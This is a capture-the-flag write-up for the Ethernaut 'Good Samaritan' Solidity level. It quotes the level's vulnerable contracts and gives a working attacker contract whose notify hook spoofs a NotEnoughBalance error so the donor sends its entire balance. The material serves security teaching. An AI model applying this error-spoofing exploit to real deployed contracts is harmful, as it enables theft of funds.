Ethernaut: 27. Good Samaritan

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// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns(bool enoughBalance){
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10**6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if(amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if(dest_.isContract()) {
                // notify contract 
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if(msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

We are asked to deplete the coins of a Good Samaritan contract. What makes it a good samaritan? Well, it has tons of coins and is willing to donate them, only 10 at a time though. To deplete all 1 million coins of the contract, we would have to take more than 10 at a time.

Thankfully, the author of this level literally gaves us the clue in a comment, under requestDonation function at the comment that says: send the coins left. Looking at this function, it is a try-catch clause that handles an exception thrown during wallet.donate10(msg.sender). Specifically, if the exception is due to error NotEnoughBalance(); then it will send all the remaining coins.

How could donate10 throw an exception? Apparently, it does throw NotEnoughBalance(); only when there is not enough balance :). However, that is not where the function call ends, it also goes to coin.transfer.

Under coin.transfer we finally see something that touches our end: if the transfer happens and it is to a contract account, then notify(uint256 amount) function is called there to basically let that contract know about this transfer.

Such things are called hooks, allowing contracts to run code before / after / during an event, provided that they support the hook function. You can find more about them in OpenZeppelin docs too.

Looking back, we are supposed to throw NotEnoughBalance(); during the transfer, and we may very well do that within our notify handler. There is a catch though: if you simply do that it will also revert the transferRemainder call too. So we can just check if the amount is 10, and revert in that case only. Our resulting attacker contract is as follows:

// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

// interface to call target function
interface IGoodSamaritan {
  function requestDonation() external returns (bool enoughBalance);
} 

contract Attack {  
  // error signature will be taken from here
  error NotEnoughBalance();

  // entry point for our attack, simply requests a donation
  function pwn(address _addr) external { 
     IGoodSamaritan(_addr).requestDonation();
  }

  // notify is called when this contract receives coins
  function notify(uint256 amount) external pure {
    // only revert on 10 coins
    if (amount == 10) {
        revert NotEnoughBalance();
    } 
  }
}

Once you deploy this and run pwn with the target contract's address, it will deplete all the coins!

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Ethernaut: 27. Good Samaritan

Erhan Tezcan

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